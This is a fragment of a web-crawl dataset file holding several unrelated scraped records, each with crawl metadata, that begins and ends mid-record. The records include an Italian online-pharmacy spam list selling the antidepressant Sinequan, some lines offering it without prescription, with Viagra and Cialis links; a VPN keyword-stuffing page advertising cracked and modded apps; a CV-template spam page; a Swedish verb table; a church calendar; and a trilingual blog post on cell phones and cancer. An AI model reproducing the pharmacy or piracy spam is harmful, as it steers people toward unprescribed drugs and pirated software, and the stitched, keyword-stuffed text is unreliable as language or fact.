\"eus_Latn_score\": 0.059435587376356125, \"mlt_Latn_score\": 0.027543550357222557, \"kiu_Latn_score\": 0.02306865155696869, \"nld_Latn_score\": 0.017782896757125854, \"por_Latn_score\": 0.014521072618663311, \"vec_Latn_score\": 0.013922333717346191, \"lij_Latn_score\": 0.012804552912712097, \"slk_Latn_score\": 0.011984176933765411, \"lvs_Latn_score\": 0.010758914984762669, \"fin_Latn_score\": 0.010434727184474468}","num_words":1500,"character_repetition_ratio":0.251,"word_repetition_ratio":0.089,"special_characters_ratio":0.15,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.304,"perplexity_score":28763.2,"cluster_detection":-1} +{"text":"Valutazione 4.6 sulla base di 64 voti.\nPrezzo da inizio €0.26 Per pillola\nSinequan generico 25 mg\nA buon mercato Sinequan 25 mg Stati Uniti\nSinequan soft generico\nconveniente 25 mg Sinequan Grecia\nin linea Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nlaboratorios fabricam generico Sinequan\ndove acquistare Sinequan\nSinequan en farmacias chile\nOrdine Sinequan Europa\nbasso costo Doxepin hydrochloride Stati Uniti\ngenerico Sinequan 25 mg Giappone\ncomprar Sinequan farmacia 2009\nSinequan generico on line\nPrezzo Sinequan 25 mg Spagna\nPrezzo basso Sinequan Grecia\nquanto custa um Sinequan generico\ntem generico do Sinequan no brasil\nPrezzo basso Sinequan 25 mg Grecia\ncosto Sinequan generico farmacia\nbuy Professional Viagra\nSinequan de venta libre en farmacias\nAcquistare Sinequan Doxepin hydrochloride Canada\ncomprar Sinequan farmacias madrid\nQuanto costa 25 mg Sinequan\nacquisto Sinequan in farmacia\nSinequan originale prezzo in farmacia\nPrezzo Doxepin hydrochloride Israele\nSinequan en farmacias de chile\nA buon mercato Sinequan 25 mg Spagna\ngenerico Doxepin hydrochloride Regno Unito\nin linea Sinequan 25 mg Spagna\ncompra Sinequan generico brasil\nIl costo di Doxepin hydrochloride Svizzera\nPrezzo basso 25 mg Sinequan Repubblica Ceca\nprecio de Sinequan en farmacias del ahorro\ngenerico Sinequan 25 mg Stati Uniti\nprecio Sinequan farmacia colombia\nAcquistare Sinequan Danimarca\nOrdine Sinequan Doxepin hydrochloride Canada\ncosto Sinequan 25 mg in farmacia\nOrdine Sinequan Doxepin hydrochloride Portogallo\nfarmacia. online Sinequan generico\nSinequan profesional generico\nPrezzo Sinequan 25 mg Finlandia\nSinequan generico line contrassegno\ngenerico Sinequan Doxepin hydrochloride Tacchino\ncomponente generico del Sinequan\ngenerico de Sinequan mexico\nSconto Sinequan Doxepin hydrochloride Norvegia\nbasso costo 25 mg Sinequan Belgio\nnombre medicamento generico Sinequan\nQuanto costa Sinequan 25 mg Portogallo\nAcquistare 25 mg Sinequan Repubblica Ceca\nQuanto costa 25 mg Sinequan Stati Uniti\nfarmacia fasa Sinequan\nAcquista Sinequan Doxepin hydrochloride Polonia\ncomprar Sinequan generico 25 mg\nAcquistare Sinequan 25 mg Olanda\nexiste generico do Sinequan\nSinequan costo in farmacia italiana\nacquistare Sinequan generico line\nhay Sinequan generico en mexico\nOrdine Sinequan 25 mg Danimarca\ncompra de Sinequan en farmacia\ndove acquistare Sinequan senza ricetta\nOrdine Sinequan 25 mg Croazia\nAcquista Sinequan Repubblica Ceca\nvendita Sinequan originale italia\nvenda de Sinequan generico\nforo genericos Sinequan\nbasso costo Sinequan Doxepin hydrochloride Danimarca\nSinequan generico spagna\nprecio Sinequan farmacia.andorra\ncomprar Sinequan generico farmacias\ncosto del Sinequan 25 mg farmacia\ncosa serve per acquistare il Sinequan\nSinequan generico on line contrassegno\nopinion sobre Sinequan generico\nSinequan generico soft tabs\nper acquistare Sinequan\nSconto Sinequan 25 mg Olanda\nbasso costo Sinequan Doxepin hydrochloride Canada\nSinequan generico barcelona\nPrezzo basso Sinequan 25 mg Regno Unito\nventa de Sinequan generico en mexico\nPrezzo 25 mg Sinequan Croazia\nAcquistare Sinequan 25 mg Israele\nOrdine Doxepin hydrochloride Belgio\nconveniente Sinequan Doxepin hydrochloride Europa\nin linea Doxepin hydrochloride Croazia\nAcquista Sinequan Italia\nin linea Sinequan 25 mg Finlandia\nqual e o nome do generico do Sinequan\nin linea 25 mg Sinequan Israele\ncompuesto generico del Sinequan\nAcquista 25 mg Sinequan Svizzera\nSinequan en farmacias simi\nSconto Sinequan Doxepin hydrochloride Italia\nconveniente 25 mg Sinequan Europa\nconveniente 25 mg Sinequan Spagna\ncomprar Sinequan generico españa contrareembolso\nIl costo di Sinequan Doxepin hydrochloride Croazia\nPrezzo Sinequan Doxepin hydrochloride Tacchino\nIl costo di Sinequan 25 mg Inghilterra\nSconto Sinequan Doxepin hydrochloride USA\nPrezzo 25 mg Sinequan Stati Uniti\nAcquistare Sinequan Doxepin hydrochloride USA\nventa Sinequan lima farmacias\nIl costo di Sinequan Doxepin hydrochloride Francia\nSinequan 25 mg costo farmacia\nSinequan generico farmacia italiana\nOrdine Sinequan Norvegia\nSinequan one day generico\nPrezzo basso Sinequan Canada\nSinequan generico en farmacia\nse vende Sinequan en farmacias\nPrezzo Sinequan 25 mg Australia\nPrezzo basso Doxepin hydrochloride Repubblica Ceca\nIl costo di Sinequan 25 mg Emirati Arabi Uniti\nqual nome generico Sinequan\nfarmacia Sinequan online\ngenerico Doxepin hydrochloride Italia\nIl costo di Sinequan Doxepin hydrochloride Italia\nAcquistare Doxepin hydrochloride Stati Uniti\ngenerico Sinequan 25 mg Svizzera\nPrezzo 25 mg Sinequan Spagna\nSinequan generico prezzo piu basso\nAcquistare Sinequan Doxepin hydrochloride Inghilterra\nSconto Sinequan 25 mg Israele\nconveniente Sinequan 25 mg Tacchino\nIl costo di Doxepin hydrochloride Belgio\nSinequan se compra na farmacia\nconveniente Doxepin hydrochloride\nOrdine Sinequan 25 mg Stati Uniti\ncomprar Sinequan españa farmacia online\nfarmacia que vende Sinequan feminino\nanafernandezf21.000webhostapp.com\nIl costo di Professional Cialis 20 mg In linea in Batavia, OH\nhalcyons.000webhostapp.com\nbuy Sildigra\nc2A4bHt","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.dentalcompass.co.uk\/a-buon-mercato-sinequan-in-edmonston-md-1-online-pharmacy-il-pagamento-e-accettato-bitcoin","date":"2019-07-24T09:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195532251.99\/warc\/CC-MAIN-20190724082321-20190724104321-00205.warc.gz","language":"ina","language_score":0.4500735402,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4500735402107239, \"ita_Latn_score\": 0.10801001638174057, \"lat_Latn_score\": 0.08370447903871536, \"ile_Latn_score\": 0.05830797180533409, \"eus_Latn_score\": 0.045459602028131485, \"mlt_Latn_score\": 0.0370451845228672, \"vec_Latn_score\": 0.021397804841399193, \"nld_Latn_score\": 0.020623652264475822, \"lij_Latn_score\": 0.018925143405795097, \"kiu_Latn_score\": 0.016226330772042274, \"scn_Latn_score\": 0.014719085767865181, \"por_Latn_score\": 0.014407100155949593, \"lvs_Latn_score\": 0.010613292455673218}","num_words":1470,"character_repetition_ratio":0.24,"word_repetition_ratio":0.057,"special_characters_ratio":0.161,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.261,"perplexity_score":29694.5,"cluster_detection":-1} +{"text":"berbagiuntuksemua.site\nPsiphon Pro Premium VPN v222\npsiphon pro apk psiphon pro download psiphon proxy psiphon pro unblocked psiphon pro vpn psiphon pro handler apk psiphon pro 3 psiphon pro lite handler psiphon pro for pc download psiphon pro for pc psiphon pro app psiphon pro apk 2018 psiphon pro amazon psiphon pro apk 2019 psiphon pro android psiphon pro alternative psiphon pro apple psiphon pro apk for ipad psiphon pro apk old version psiphon a+ pro black psiphon a+ pro black apk psiphon a+ pro apk psiphon a+ pro black apk free download psiphon a+ pro dzebb handler psiphon a+ pro black 2018 psiphon a+ pro black settings for globe psiphon a+ pro black 2017 psiphon a+ pro free download psiphon a+ pro settings psiphon pro bike psiphon pro best settings psiphon pro browser psiphon pro black psiphon pro black apk psiphon pro black apk download psiphon pro bagas31 psiphon pro bangla psiphon pro blackberry psiphon pro benefits psiphon pro configuration psiphon pro chrome psiphon pro cracked pc psiphon pro config psiphon pro custom http headers psiphon pro cracked apk psiphon pro cracked psiphon pro cracked apk unlimited speed psiphon pro configuration 2018 psiphon pro client version 211 c'est quoi psiphon pro psiphon pro download apk psiphon pro download for windows psiphon pro download unblocked psiphon pro download free psiphon pro download for pc psiphon pro desktop psiphon pro download app psiphon pro descargar psiphon pro dmg psiphon pro d psiphon pro exe psiphon pro exe download psiphon pro extension psiphon pro exe latest version psiphon pro elite psiphon-pro.en psiphon pro ee psiphon pro ehi psiphon pro en pc psiphon pro etisalat settings psiphon pro e seguro descargar e instalar psiphon pro psiphon pro free psiphon pro for mac psiphon pro free internet psiphon pro for laptop f@tih psiphon pro f@tih psiphon pro ayarları psiphon pro f@tih ayarlari psiphon pro gratis psiphon pro google play psiphon pro google drive psiphon pro globe settings 2018 psiphon pro globe settings psiphon pro guide psiphon pro google chrome psiphon pro github psiphon pro google play store psiphon pro galaxy apk psiphon pro http proxy settings psiphon pro how to use psiphon pro hack psiphon pro handler settings psiphon pro how it works psiphon pro handler apkpure psiphon pro hotspot psiphon pro handler lite apk download psiphon pro hui psiphon pro iphone psiphon pro iphone download psiphon pro ios download psiphon pro ilimitado psiphon pro install psiphon pro is it safe psiphon pro in uae psiphon pro is not working psiphon pro ip address psiphon pro java psiphon pro jio trick psiphon pro jio psiphon pro jalan tikus psiphon pro jedry jimenez psiphon pro jar psiphon pro jadi unlimited psiphon pro j terbaru psiphon pro java indir download psiphon pro jar psiphon j pro psiphon pro keeps disconnecting psiphon pro kuyhaa psiphon pro key psiphon pro kurulumu psiphon pro kartu 3 psiphon pro kodları psiphon pro kurulumu fatih psiphon pro kullanımı psiphon pro kurulum psiphon pro latest apk psiphon pro lite vpn apk download psiphon pro lite handler apk psiphon pro linux psiphon pro lite handler settings for mtn psiphon pro lite handler apkpure psiphon pro latest psiphon pro lite handler 113 psiphon pro l psiphon pro mtn settings psiphon pro mod apk psiphon pro mod apk revdl psiphon pro mod unlimited speed apk psiphon pro maximum speed apk psiphon pro mod apk 2018 psiphon pro maxstream psiphon pro mod for pc psiphon pro mod 214 psiphon pro no ads apk psiphon pro not connecting psiphon pro new psiphon pro netflix psiphon pro new version psiphon pro new settings psiphon pro not working anymore psiphon pro no speed limit psiphon pro not working android psiphon pro new version 2018 psiphon pro online psiphon pro old version apk psiphon pro onhax psiphon pro on iphone psiphon pro official website psiphon pro oktober 2017 psiphon pro on ios psiphon pro okul interneti psiphon pro okul interneti ayarları psiphon pro oi como usar o psiphon pro como configurar o psiphon pro na vivo como configurar o psiphon pro como funciona o psiphon pro como usar o psiphon pro 2018 como usa o psiphon pro o que é psiphon pro como fazer o psiphon pro funcionar como instalar o psiphon pro como se usa o psiphon pro psiphon pro pc psiphon pro pc download psiphon pro premium psiphon pro portable psiphon pro pc version download psiphon pro paid apk psiphon pro premium apk psiphon pro premium apk download psiphon pro pc crack para q sirve psiphon pro psiphon pro q es psiphon pro reddit psiphon pro revdl psiphon pro redeem code psiphon pro rar psiphon pro related apps psiphon pro requirements psiphon pro recensioni psiphon pro root psiphon pro root apk psiphon pro settings 2018 psiphon pro settings psiphon pro settings for android psiphon pro settings for globe psiphon pro support mobile legend psiphon pro subscribed apk psiphon pro setting 2019 psiphon pro speed psiphon pro safe psiphon pro source code psiphon proxy s psiphon pro the internet freedom vpn psiphon pro terbaru psiphon pro telkomsel psiphon pro tricks psiphon pro tutorial psiphon pro technical tajim.apk psiphon pro terbaru 2018 psiphon pro the internet freedom apk psiphon pro trickbd psiphon pro tunnel whole device psiphon pro update psiphon pro unlimited for pc psiphon pro update apk psiphon pro uptodown psiphon pro unlimited apk psiphon pro unlimited data psiphon pro unlimited speed apk free download psiphon pro unlimited speed psiphon pro u psiphon pro version 211 psiphon pro vpn download psiphon pro vpn apk psiphon pro vpn for pc psiphon pro vpn for windows psiphon pro v211 psiphon pro versi 172 psiphon pro vpn settings psiphon pro video psiphon pro v155 psiphon pro v 165 psiphon pro v 172 psiphon pro v170 psiphon pro v164 psiphon pro v 168 psiphon pro v 166 psiphon pro v 167 psiphon pro v211 unlimited apk psiphon pro v 200 psiphon pro windows psiphon pro windows 10 psiphon pro wiki psiphon pro windows phone psiphon pro whatsapp psiphon pro what is it psiphon pro windows cracked psiphon pro won't connect psiphon pro with unlimited speed psiphon pro w psiphon pro xfinity psiphon pro xl iflix psiphon pro xl psiphon pro xda psiphon pro xp psiphon pro xap psiphon pro x-online-host psiphon pro xbox one psiphon pro xl 2018 psiphon pro xl opok x psiphon pro apk psiphon x.p pro download psiphon x pro psiphon pro yeni ayarları psiphon pro youtube psiphon pro yeni sürüm psiphon pro ya no funciona psiphon pro yeni ayarlar psiphon pro yükle psiphon pro yeni ayar psiphon pro yükseltme psiphon pro yeni sürüm indir psiphon pro yellow diferencia entre psiphon y psiphon pro psiphon pro zip psiphon pro zong setting psiphon pro android zone psiphon pro for samsung z2 psiphon pro asus zenfone 5 psiphon pro untuk asus zenfone c psiphon pro zararlı mı psiphon pro asus zenfone c psiphon pro telkomsel 0p0k setting psiphon pro 0p0k telkomsel setting psiphon pro indosat 0p0k settingan psiphon pro telkomsel 0p0k psiphon pro 172 psiphon pro 171 unlimited psiphon pro 172 apk psiphon pro 166 psiphon pro 171 psiphon pro 194 psiphon pro 170 psiphon pro 155 psiphon pro 194 apk psiphon pro 192 1.psiphon pro psiphon pro 211 psiphon pro 202 psiphon pro 214 psiphon pro 2019 psiphon pro 211 apk psiphon pro 211 unlimited apk psiphon pro 211 unlimited speed apk psiphon pro 202 apk psiphon pro 211 mod apk psiphon pro 214 unlimited speed apk psiphon pro 2 mbps psiphon pro 2mbps apk psiphon pro 2 psiphon pro 2 download psiphon pro 2 baixar psiphon pro 3 download psiphon pro 3 pc psiphon pro 3 apk psiphon pro 3 download for pc psiphon pro 3 apk download psiphon pro 3 for windows 7 psiphon pro 3 for android psiphon pro 32 bit psiphon 3 proxy settings psiphon 3 pro apk psiphon 3 proxy settings for pc psiphon 3 pro download psiphon 3 pro for pc psiphon 3 proxy vpn free download psiphon 3 proxy port psiphon 3 problems psiphon pro 4pda psiphon pro 4.2 psiphon pro 4.3 psiphon pro 47 psiphon pro 4 apk psiphon pro 4g psiphon pro 4g apk psiphon pro iphone 4 psiphon 91 hui 400 pro psiphon pro handler 4pda psiphon pro 4 psiphon pro 5 mbps psiphon pro 5 apk psiphon pro 5.1 psiphon pro 55 psiphon pro 5mb psiphon pro 5mb speed psiphon pro android 5.1 psiphon pro for iphone 5s psiphon pro speed 5mbps download psiphon pro 5 mbps psiphon pro 5 psiphon pro 64 bit psiphon pro 68 apk psiphon pro 67 psiphon pro 60 psiphon pro 66 apk psiphon pro 65 psiphon pro 6 header psiphon pro 66 psiphon pro android 6.0 psiphon pro iphone 6 psiphon pro 70 psiphon pro 71 psiphon pro 72 apk psiphon pro windows 7 psiphon pro for iphone 7 psiphon pro android 7 psiphon pro ios 7 psiphon pro pour windows 7 windows 7 psiphon pro psiphon pro 82 handler download psiphon pro 80 psiphon pro 80 apk psiphon pro 82 handler ui psiphon pro 82 download psiphon pro 82 handler ul psiphon pro 88 psiphon pro 88 apk psiphon pro 86 psiphon pro windows 8.1 psiphon pro 91 handler apk psiphon pro 91 handler ui psiphon pro 94fbr psiphon pro 99 psiphon pro 90 apk psiphon pro 9apps psiphon pro 91 mod psiphon pro 91 handler psiphon pro 99 apk psiphon pro 9.1 untuk pc\nPost to Tumblr","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.tumblr.com\/widgets\/share\/tool\/preview?shareSource=legacy&canonicalUrl=&url=https%3A%2F%2Fwww.berbagiuntuksemua.site%2F2019%2F03%2Fpsiphon-pro-unlimited.html&posttype=link&title=Psiphon+Pro+Premium+VPN+v222+&caption=++++Sekarang+saya+bakal+share+lagi+sebuah+aplikasi+VPN+yang+mempunyai+nama+Psiphon+Pro+Premium+VPN+Unlimited+Speed+Apk+Terbaru.+Aplikasi+ini&content=https%3A%2F%2Fwww.berbagiuntuksemua.site%2F2019%2F03%2Fpsiphon-pro-unlimited.html","date":"2019-09-17T16:29:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573098.0\/warc\/CC-MAIN-20190917161045-20190917183045-00114.warc.gz","language":"ina","language_score":0.5864462256,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.586446225643158, \"yuw_Latn_score\": 0.11799389868974686, \"oci_Latn_score\": 0.0980701670050621, \"ben_Latn_score\": 0.034070730209350586, \"lat_Latn_score\": 0.012886305339634418, \"frp_Latn_score\": 0.010560819879174232, \"eng_Latn_score\": 0.0102393738925457}","num_words":2709,"character_repetition_ratio":0.285,"word_repetition_ratio":0.077,"special_characters_ratio":0.211,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.586,"perplexity_score":12786.3,"cluster_detection":-1} +{"text":"Como mejorar un curriculum vitae sin experiencia plantilla curriculum vitae sin experiencia laboral resultados. O redactar un curriculum vitae sin experiencia laboral como mejorar un curriculum vitae sin experiencia. Curriculum vitae 2019 c³mo hacer un buen curriculum plantillas cv como mejorar un curriculum vitae sin experiencia. Willamalane winter spring 2019 como mejorar un curriculum vitae sin experiencia. Como mejorar un curriculum vitae sin experiencia bolsadetrabajocdmx hashtag on twitter. Como mejorar un curriculum vitae sin experiencia pdf forest vocation lands and forest policy when simpler is better. Como mejorar un curriculum vitae sin experiencia plantilla curriculum vitae sin experiencia laboral resultados.\nComo Mejorar Un Curriculum Vitae Sin Experiencia Plantilla Curriculum Vitae Sin Experiencia Laboral Resultados fuente: curriculumdoc.website\nO Redactar Un Curriculum Vitae Sin Experiencia Laboral Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: curriculumvt.me\nCurriculum Vitae 2019 C³mo Hacer Un Buen Curriculum Plantillas Cv Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: claudioinacio.com\nWillamalane Winter Spring 2019 Como Mejorar Un Curriculum Vitae Sin Experiencia fuente: issuu.com\nComo Mejorar Un Curriculum Vitae Sin Experiencia Bolsadetrabajocdmx Hashtag On Twitter fuente: twitter.com","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/curriculumdoc.website\/como-mejorar-un-curriculum-vitae-sin-experiencia\/como-mejorar-un-curriculum-vitae-sin-experiencia-c%C2%B3mo-agregar-un-ttulo-a-tu-currculum-11-pasos\/","date":"2019-09-16T16:22:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572879.28\/warc\/CC-MAIN-20190916155946-20190916181946-00122.warc.gz","language":"ina","language_score":0.3718284965,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.37182849645614624, \"spa_Latn_score\": 0.33903050422668457, \"sco_Latn_score\": 0.03857440501451492, \"cbk_Latn_score\": 0.034133221954107285, \"lat_Latn_score\": 0.023889942094683647, \"arg_Latn_score\": 0.017006533220410347, \"ile_Latn_score\": 0.015314764343202114, \"glg_Latn_score\": 0.015201280824840069, \"ayr_Latn_score\": 0.01239795796573162}","num_words":353,"character_repetition_ratio":0.213,"word_repetition_ratio":0.555,"special_characters_ratio":0.158,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":0.442,"perplexity_score":7592.3,"cluster_detection":-1} +{"text":"Related\nphthalic anhydride chemical formula\nphthalic anhydride to phthalic acid\nphthalic anhydride glycerol chemical formula\nphthalic anhydride + methanol\nphthalic anhydride melting point\nphthalic anhydride hydrolysis\nphthalic anhydride molecular formula\nphthalic anhydride and ethylene glycol\nphthalic anhydride nmr\nphthalic anhydride manufacturing unit in india\nphthalic anhydride functionality\nphthalic anhydride nfpa\nphthalic anhydride structural formula\nphthalic anhydride manufacturing companies in india\nphthalic anhydride uses in cosmetics\nphthalic anhydride production using o-xylene\nphthalic anhydride production pdf\nphthalic anhydride production process from o-xylene\nphthalic anhydride production in the world\nphthalic anhydride production capacity","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/jeannebard.ch\/chemical\/6714.html","date":"2019-11-22T13:01:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671260.30\/warc\/CC-MAIN-20191122115908-20191122143908-00453.warc.gz","language":"ina","language_score":0.3693401814,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.369340181350708, \"eng_Latn_score\": 0.1506892293691635, \"mlt_Latn_score\": 0.13188700377941132, \"slk_Latn_score\": 0.052121009677648544, \"nld_Latn_score\": 0.04571514204144478, \"snd_Latn_score\": 0.04539255425333977, \"dan_Latn_score\": 0.04156816750764847, \"lvs_Latn_score\": 0.020430920645594597, \"fin_Latn_score\": 0.011520839296281338, \"bam_Latn_score\": 0.011336288414895535}","num_words":172,"character_repetition_ratio":0.357,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":0.355,"perplexity_score":8812.4,"cluster_detection":-1} +{"text":"|sorti le 31\/05\/00||sorti le 28\/09\/00||sorti le 18\/01\/01||sorti le 24\/05\/01||sorti le 30\/08\/01||sorti le 20\/12\/01|\n|sorti le 04\/04\/02||sorti le 08\/08\/02||sorti le 21\/11\/02||sorti le 10\/04\/03||sorti le 21\/08\/03||sorti le 18\/12\/03|\n|sorti le 15\/04\/04||sorti le 26\/08\/04||sorti le 16\/12\/04||sorti le 20\/05\/05||sorti le 20\/09\/05||sorti le 20\/01\/06|\n|sorti le 18\/05\/06||sorti le 20\/09\/06||sorti le 20\/02\/07||sorti le 20\/07\/07||sorti le 20\/12\/07||sorti le 20\/05\/08|\n|sorti le 20\/11\/08||sorti le 20\/02\/09|\n|Couvertures japonaises des 26 volumes parus chez Akita shoten\n\n\n(série en cours)","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mangaverse.net\/html\/lovejunkiescouvjap.htm","date":"2020-04-02T15:40:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506988.10\/warc\/CC-MAIN-20200402143006-20200402173006-00392.warc.gz","language":"ina","language_score":0.3106056154,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31060561537742615, \"fra_Latn_score\": 0.2915133535861969, \"ron_Latn_score\": 0.23280805349349976, \"und_Grek_score\": 0.048975683748722076, \"crs_Latn_score\": 0.03415631875395775}","num_words":157,"character_repetition_ratio":0.245,"word_repetition_ratio":0.824,"special_characters_ratio":0.578,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.305,"perplexity_score":3393.4,"cluster_detection":-1} +{"text":"Formas verbais no total: 53\n|Imperativos e particípios|\n|Presens particip||admitterande|\n|Presens particip||admitterat|\n|Presens particip||admitterad|\n|Tipo||jag||du||han\/hon\/den\/det||vi||ni||de|\n|Presens||admitterar||admitterar||admitterar||admitterar||admitterar||admitterar|\n|Preteritum||admitterade||admitterade||admitterade||admitterade||admitterade||admitterade|\n|Futurum||ska admittera||ska admittera||ska admittera||ska admittera||ska admittera||ska admittera|\n|Konditionalis I||skulle admittera||skulle admittera||skulle admittera||skulle admittera||skulle admittera||skulle admittera|\n|Perfekt||har admitterat||har admitterat||har admitterat||har admitterat||har admitterat||har admitterat|\n|Pluskvamperfekt||hade admitterat||hade admitterat||hade admitterat||hade admitterat||hade admitterat||hade admitterat|\n|Futurum exaktum||ska ha admitterat||ska ha admitterat||ska ha admitterat||ska ha admitterat||ska ha admitterat||ska ha admitterat|\n|Konditionalis II||skulle ha admitterat||skulle ha admitterat||skulle ha admitterat||skulle ha admitterat||skulle ha admitterat||skulle ha admitterat|\n|Imperativ||-||admittera||-||-||admittera||-|\nVerbos semelhantes a admittera\nVerbos conjugados anteriores e posteriores admittera\nMais ações para admittera","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/verbos.woxikon.pt\/sv\/admittera","date":"2021-06-17T06:12:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487629209.28\/warc\/CC-MAIN-20210617041347-20210617071347-00140.warc.gz","language":"ina","language_score":0.4338777661,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.43387776613235474, \"swe_Latn_score\": 0.2944914698600769, \"lat_Latn_score\": 0.12942880392074585, \"eng_Latn_score\": 0.014629221521317959, \"cat_Latn_score\": 0.012014645151793957}","num_words":292,"character_repetition_ratio":0.253,"word_repetition_ratio":0.36,"special_characters_ratio":0.2,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.378,"perplexity_score":33250.9,"cluster_detection":-1} +{"text":"Festividad de Santa Justa y Rufina Festividad de Santa Justa y Rufina Hora: 10:00 h. + Añadir Google Calendar + iCal exportar juniojulio 2021agosto MOTUWETHFRSASU 2829301234Actos julio 1stSin actosActos julio 2ndSin actosActos julio 3rdSin actosActos julio 4thSin actos567891011Actos julio 5thSin actosActos julio 6thSin actosActos julio 7thSin actosActos julio 8thSin actosActos julio 9thSin actosActos julio 10thSin actosActos julio 11thSin actos12131415161718Actos julio 12thSin actosActos julio 13thSin actosActos julio 14thSin actosActos julio 15thSin actosActos julio 16thSin actosActos julio 17th 10:00FESTIVIDAD DE SANTA JUSTA Y RUFINACatedral de SevillaActos julio 18thSin actos19202122232425Actos julio 19thSin actosActos julio 20thSin actosActos julio 21stSin actosActos julio 22ndSin actosActos julio 23rdSin actosActos julio 24thSin actosActos julio 25th 10:00SOLEMNIDAD DE SANTIAGO APOSTOLCatedral de Sevilla2627282930311 Actos julio 26thSin actosActos julio 27thSin actosActos julio 28thSin actosActos julio 29thSin actosActos julio 30thSin actosActos julio 31stSin actos","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.catedraldesevilla.es\/actos\/festividad-de-santa-justa-y-rufina-3\/","date":"2021-07-30T14:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153966.60\/warc\/CC-MAIN-20210730122926-20210730152926-00434.warc.gz","language":"ina","language_score":0.5004879832,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5004879832267761, \"spa_Latn_score\": 0.3851865530014038, \"quy_Latn_score\": 0.015477818436920643, \"lit_Latn_score\": 0.012283967807888985, \"ayr_Latn_score\": 0.01194806955754757}","num_words":327,"character_repetition_ratio":0.383,"word_repetition_ratio":0.692,"special_characters_ratio":0.246,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":0.413,"perplexity_score":13862.6,"cluster_detection":-1} +{"text":"Tuesday, May 31, 2011\n(Languages of this post: Interlingua, Spanish, English)\nLe Organisation Mundial del Sanitate ha trovate ligamines inter le uso de telephonos cellular e un \"possibile\" risco de disveloppar le cancere cerebral.\nLe Agentia International de Investigation del Cancere (IARC in anglese) indica que le campos electromagnetic generate per le radiofrequentias de iste telephonos es \"possibilemente carcinogenic pro humanos\".\nIn un communicato publicate recentemente, IARC dice que existe probas de que le uso de cellulares sta a provocar un augmento de casos de gliomas, tumores que es maligne. Iste advertimento se basa sur un studio que trovava que usque le anno 2004, il habeva un augmento del 40% in le risco de iste tipo de tumores inter le grande consumitores del telephonos cellular. (Le consumption excessive se define como plus que 30 minutas cata die.)\nLe Organisation Mundial del Sanitate anque diceva in su declaration que, ben que existe un \"relation positive\" inter le uso de telephonos cellular e le augmento de casos de iste tipo de tumor, existe le possibilitate que il ha altere factores que sta a influentiar le plus grande occurrentia de iste tipo de cancere.\n---\nEs posible que el uso de celulares está aumentando el riesgo de cancer,\nLa Organización Mundial de la Salud ha viculado el uso de teléfonos celulares con un \"possible\" riesgo de desarrollar cáncer cerebral.\nLa Agencia Internacional de Investigación del Cáncer (IARC, en inglés) señala que los campos electromagnéticos generados por las radiofrecuencias de estos teléfonos son \"posiblemente cancerígenos para los seres humanos\".\nEn un comunicado publicado recientemente, la IARC señala que existen pruebas de que el uso de celulares está provocando un aumento de casos de gliomas, tumores que son malignos. Esta advertencia se basa en un estudio que encontró que hasta el año 2004, hubo un aumento del 40% en el riesgo de este tipo de tumores entre los grandes consumidores de los teléfonos celulares. (El consumo excesivo se define como más de 30 minutos al día.)\nLa Organización Mundial de la Salud también dijo en su declaración que, aunque existe una \"relación positiva\" entre el uso de teléfonos celulares y el aumento de casos de este tipo de tumor, existe la posibilidad de que hay otros factores que tienen una influencia en la mayor incidencia de este tipo de cáncer.\n---\nIt is possible that the use of cell phones is increasing the risk of cancer.\nThe World Health Organisation has linked the use of cell phones with a \"possible\" risk of developing brain cancer.\nThe International Agency for Research on Cancer (IARC) says that electromagnetic fields generated by the radio frequencies of these phones are \"possibly carcinogenic to humans.\"\nIn a recently released statement, IARC says that there is evidence that cellphone use is causing an increase in cases of gliomas, tumors that are malignant. This warning is based on a study that found that up to 2004, there was a 40% increase in the risk of these kinds of tumors among heavy users of cell phones. (Heavy use is defined as being more than 30 minutes a day.)\nThe World Health Organization also said in its statement that although there is a \"positive association\" between cell-phone use and increased cases of this type of tumor, there is the possibility that there are other factors that are influencing the increased occurrence of this kind of cancer.\nPosted by hkyson at 1:46 PM\nDuo pueras adolescente espaniol debera pagar US$18.000 pro le creation de un profilo diffamatori in internet.\n(Languages of this post: Interlingua, Spanish, English)\nDuo pueras adolescente debera pagar quasi US$18.000 de indemnisation cata un pro aperir un profilo false in 